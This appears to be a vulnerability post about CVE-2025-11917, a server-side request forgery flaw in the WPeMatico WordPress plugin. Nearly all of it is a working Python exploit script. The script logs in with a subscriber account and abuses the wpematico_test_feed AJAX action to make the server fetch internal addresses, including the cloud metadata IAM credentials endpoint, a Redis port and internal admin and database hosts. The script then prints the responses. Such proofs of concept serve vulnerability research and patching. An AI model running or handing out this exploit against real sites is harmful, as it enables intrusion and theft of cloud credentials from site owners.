CVE-2025-11917 WPeMatico插件SSRF服务器端请求伪造漏洞

#!/usr/bin/env python3 """ CVE-2025-11917 - WPeMatico SSRF PoC Author: Security Researcher Note: For authorized testing only """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" LOGIN_URL = f"{TARGET_URL}/wp-login.php" SSRF_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" def login(session, username, password): """Login to WordPress with subscriber account""" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(LOGIN_URL, data=data) return 'wordpress_logged_in' in session.cookies.get_dict() def exploit_ssrf(session, target_host="http://169.254.169.254/latest/meta-data/", internal_ip="10.0.0.1"): """Exploit SSRF via wpematico_test_feed() function""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for SSRF - test internal metadata service data = { 'action': 'wpematico_test_feed', 'feed_url': target_host, # SSRF payload 'campaign_id': '0' } try: response = session.post(SSRF_URL, data=data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print(f"[+] SSRF Successful - Response:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-11917 WPeMatico SSRF Exploit") print("=" * 50) session = requests.Session() # Login with subscriber account if not login(session, "subscriber_user", "password"): print("[-] Login failed") sys.exit(1) print("[+] Logged in successfully") # Test SSRF against various targets targets = [ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://10.0.0.1:6379/", "http://localhost:8080/admin", "http://internal-db.local:3306/" ] for target in targets: print(f"\n[*] Testing target: {target}") exploit_ssrf(session, target_host=target)